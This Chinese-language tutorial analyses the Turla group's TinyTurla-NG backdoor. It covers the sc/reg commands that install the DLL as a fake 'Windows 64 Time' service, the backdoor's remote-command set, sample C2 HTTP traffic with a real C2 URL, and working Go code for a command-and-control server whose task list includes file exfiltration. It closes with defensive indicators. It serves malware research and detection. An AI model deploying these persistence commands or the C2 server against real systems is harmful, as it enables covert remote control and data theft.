逆向开发Turla组织TinyTurla-NG新后门C&C站点
字数 1794 2025-08-06 00:52:37

TinyTurla-NG 后门分析与C&C站点构建教学文档

1. TinyTurla-NG 后门概述

TinyTurla-NG是Turla APT组织使用的新型后门,与早期TinyTurla后门类似但功能更为复杂。该后门以服务DLL形式植入系统,通过svchost.exe启动,主要用于远程控制和数据窃取。

2. 运行场景复现

2.1 服务安装步骤

  1. 将后门DLL重命名为w64time.dll
  2. 执行以下命令安装服务:
copy "w64time.dll" %systemroot%\system32\

sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start= auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f

sc start W64Time

2.2 运行机制

  • 服务启动后调用ServiceMain函数
  • 通过beginthreadex创建主感染线程
  • 主线程创建两个子线程:
    • 线程1:负责与C&C服务器通信
    • 线程2:负责执行接收到的命令

3. 样本功能分析

3.1 初始化过程

  1. 初始化配置结构体
  2. 检测系统环境:
    • PowerShell版本(>=5则使用PowerShell执行命令)
    • Windows版本信息

3.2 线程功能

线程1(通信线程)

  • 使用WINHTTP API与C&C通信
  • 处理HTTP请求和响应

线程2(命令执行线程)

  • 解析并执行从C&C接收的命令
  • 处理特殊指令和常规shell命令

3.3 远控指令集

指令 功能描述
changepoint 检索命令执行结果
timeout 配置请求间隔时间
changeshell 切换执行shell方式(PowerShell/cmd)
get 从C&C下载文件
post 上传文件到C&C
killme 自删除

指令执行代码逻辑

  1. Shell命令执行

    • 根据检测到的PowerShell版本选择执行方式
    • 创建进程执行命令并捕获输出
  2. timeout指令

    • 修改后门请求间隔时间参数
    • 示例:timeout 1 1(设置短定时器为1分钟,失败计数器为1)
  3. post指令

    • 上传指定路径文件到C&C
    • 使用multipart/form-data格式传输
  4. killme指令

    • 删除后门文件和相关注册表项
    • 停止并删除服务

3.4 外联地址

  • 以明文形式存储在样本中
  • 示例:jeepcarlease.com/wp-includes/blocks/rss.old.php

4. 通信模型分析

4.1 通信流程

  1. 上线认证

    • 发送"Client Ready"信标
    • 包含客户端ID的POST请求
  2. 指令获取

    • 定期请求任务(gettask)
    • C&C响应以"rsp:"开头的指令
  3. 结果回传

    • 命令执行结果通过"result"字段回传
    • 文件通过"file"字段传输

4.2 HTTP请求类型

  1. POST请求(result字段)

    • 发送上线信标和命令结果
    • Content-Type: multipart/form-data
  2. POST请求(gettask字段)

    • 请求获取远控指令
    • 空内容表示请求新任务
  3. POST请求(file字段)

    • 上传文件内容
    • 包含文件名和文件数据

4.3 通信示例

上线认证

POST /wp-includes/blocks/rss.old.php HTTP/1.1
Content-Type: multipart/form-data; boundary=-
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1

---
Content-Disposition: form-data;name="id"

307b5c9a
---
Content-Disposition: form-data;name="result"

Client Ready
-----

指令响应

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8

rsp:timeout 1 1

文件上传

POST /wp-includes/blocks/rss.old.php HTTP/1.1
Content-Type: multipart/form-data; boundary=-

---
Content-Disposition: form-data;name="id"

307b5c9a
---
Content-Disposition: form-data;name="file"; filename="111.txt"
Content-Type: application/octet-stream

[文件内容]
-----

5. C&C站点构建

5.1 站点要求

  • 支持HTTP/HTTPS(HTTPS需要有效证书)
  • 处理三种POST请求类型
  • 管理客户端任务和结果

5.2 Golang实现代码

项目结构

├── conf/
│   ├── tasks.txt    # 预定义指令列表
│   └── tmp.txt     # 当前指令索引
├── common.go       # 公共处理函数
└── main.go         # 主程序

main.go

package main

import (
    "awesomeProject3/common"
    "github.com/gin-gonic/gin"
    "os"
)

func main() {
    init_tasks()
    
    r := gin.Default()
    gin.SetMode(gin.ReleaseMode)
    r.GET("/", common.HandleRoot)
    r.POST("/wp-includes/blocks/rss.old.php", common.Handle_POST)
    r.POST("/wordpress/wp-includes/rss.old.php", common.Handle_POST)
    r.Run(":80")
}

func init_tasks() {
    os.Remove("./conf/tmp.txt")
    common.WriteFile("./conf/tmp.txt", "0")
}

common.go

package common

import (
    "bufio"
    "fmt"
    "github.com/gin-gonic/gin"
    "io"
    "io/ioutil"
    "os"
    "strconv"
)

func HandleRoot(c *gin.Context) {
    c.String(200, "Hello, World!")
}

func Handle_POST(c *gin.Context) {
    str_id := c.PostForm("id")
    str_result := c.PostForm("result")
    file, header, _ := c.Request.FormFile("file")
    
    if str_result != "" {
        // 处理命令结果
        WriteFile_A("./conf/"+str_id+".txt", "**********output********\r\n"+str_result+"\r\n")
        c.String(200, "rsp:")
    } else if header != nil {
        // 处理文件上传
        defer file.Close()
        out, _ := os.Create("./conf/post_" + header.Filename)
        defer out.Close()
        io.Copy(out, file)
        c.String(200, "rsp:")
    } else if str_result == "" {
        // 获取并返回下一个指令
        str, _ := ReadFile("./conf/tmp.txt")
        num, _ := strconv.Atoi(str)
        strs := FileToSlice("./conf/tasks.txt")
        
        if num+1 < len(strs) {
            os.Remove("./conf/tmp.txt")
            WriteFile("./conf/tmp.txt", strconv.Itoa(num+1))
            c.String(200, strs[num])
        } else {
            c.String(200, "rsp:")
        }
    }
}

// 辅助函数...

tasks.txt示例

rsp:timeout 1 1
rsp:ipconfig
rsp:calc.exe
rsp:dir C:\Users\admin\Desktop
rsp:post C:\Users\admin\Desktop\111.txt
rsp:whoami

5.3 站点功能

  1. 记录客户端活动(按ID保存到文件)
  2. 按顺序发送预定义指令
  3. 接收并存储命令执行结果
  4. 处理文件上传(保存到conf目录)

6. 防御建议

  1. 检测指标

    • 异常服务创建(W64Time)
    • 特定注册表项修改
    • wp-includes/blocks/rss.old.php的请求
  2. 防护措施

    • 监控svchost.exe加载异常DLL
    • 限制PowerShell使用
    • 网络流量分析(检测特定HTTP请求模式)
  3. 应急响应

    • 检查并删除异常服务
    • 清理相关注册表项
    • 分析可能泄露的数据

7. 总结

TinyTurla-NG后门通过精心设计的通信模型和功能模块实现隐蔽的远程控制。通过分析其工作原理和构建模拟C&C站点,可以更好地理解其行为特征,为检测和防御提供技术依据。实际防御中应重点关注异常服务创建、特定网络通信模式等IoC指标。

TinyTurla-NG 后门分析与C&C站点构建教学文档 1. TinyTurla-NG 后门概述 TinyTurla-NG是Turla APT组织使用的新型后门,与早期TinyTurla后门类似但功能更为复杂。该后门以服务DLL形式植入系统,通过svchost.exe启动,主要用于远程控制和数据窃取。 2. 运行场景复现 2.1 服务安装步骤 将后门DLL重命名为 w64time.dll 执行以下命令安装服务: 2.2 运行机制 服务启动后调用 ServiceMain 函数 通过 beginthreadex 创建主感染线程 主线程创建两个子线程: 线程1:负责与C&C服务器通信 线程2:负责执行接收到的命令 3. 样本功能分析 3.1 初始化过程 初始化配置结构体 检测系统环境: PowerShell版本(>=5则使用PowerShell执行命令) Windows版本信息 3.2 线程功能 线程1(通信线程) : 使用WINHTTP API与C&C通信 处理HTTP请求和响应 线程2(命令执行线程) : 解析并执行从C&C接收的命令 处理特殊指令和常规shell命令 3.3 远控指令集 | 指令 | 功能描述 | |------|----------| | changepoint | 检索命令执行结果 | | timeout | 配置请求间隔时间 | | changeshell | 切换执行shell方式(PowerShell/cmd) | | get | 从C&C下载文件 | | post | 上传文件到C&C | | killme | 自删除 | 指令执行代码逻辑 : Shell命令执行 : 根据检测到的PowerShell版本选择执行方式 创建进程执行命令并捕获输出 timeout指令 : 修改后门请求间隔时间参数 示例: timeout 1 1 (设置短定时器为1分钟,失败计数器为1) post指令 : 上传指定路径文件到C&C 使用multipart/form-data格式传输 killme指令 : 删除后门文件和相关注册表项 停止并删除服务 3.4 外联地址 以明文形式存储在样本中 示例: jeepcarlease.com/wp-includes/blocks/rss.old.php 4. 通信模型分析 4.1 通信流程 上线认证 : 发送"Client Ready"信标 包含客户端ID的POST请求 指令获取 : 定期请求任务( gettask ) C&C响应以"rsp:"开头的指令 结果回传 : 命令执行结果通过"result"字段回传 文件通过"file"字段传输 4.2 HTTP请求类型 POST请求(result字段) : 发送上线信标和命令结果 Content-Type: multipart/form-data POST请求(gettask字段) : 请求获取远控指令 空内容表示请求新任务 POST请求(file字段) : 上传文件内容 包含文件名和文件数据 4.3 通信示例 上线认证 : 指令响应 : 文件上传 : 5. C&C站点构建 5.1 站点要求 支持HTTP/HTTPS(HTTPS需要有效证书) 处理三种POST请求类型 管理客户端任务和结果 5.2 Golang实现代码 项目结构 : main.go : common.go : tasks.txt示例 : 5.3 站点功能 记录客户端活动(按ID保存到文件) 按顺序发送预定义指令 接收并存储命令执行结果 处理文件上传(保存到conf目录) 6. 防御建议 检测指标 : 异常服务创建(W64Time) 特定注册表项修改 对 wp-includes/blocks/rss.old.php 的请求 防护措施 : 监控svchost.exe加载异常DLL 限制PowerShell使用 网络流量分析(检测特定HTTP请求模式) 应急响应 : 检查并删除异常服务 清理相关注册表项 分析可能泄露的数据 7. 总结 TinyTurla-NG后门通过精心设计的通信模型和功能模块实现隐蔽的远程控制。通过分析其工作原理和构建模拟C&C站点,可以更好地理解其行为特征,为检测和防御提供技术依据。实际防御中应重点关注异常服务创建、特定网络通信模式等IoC指标。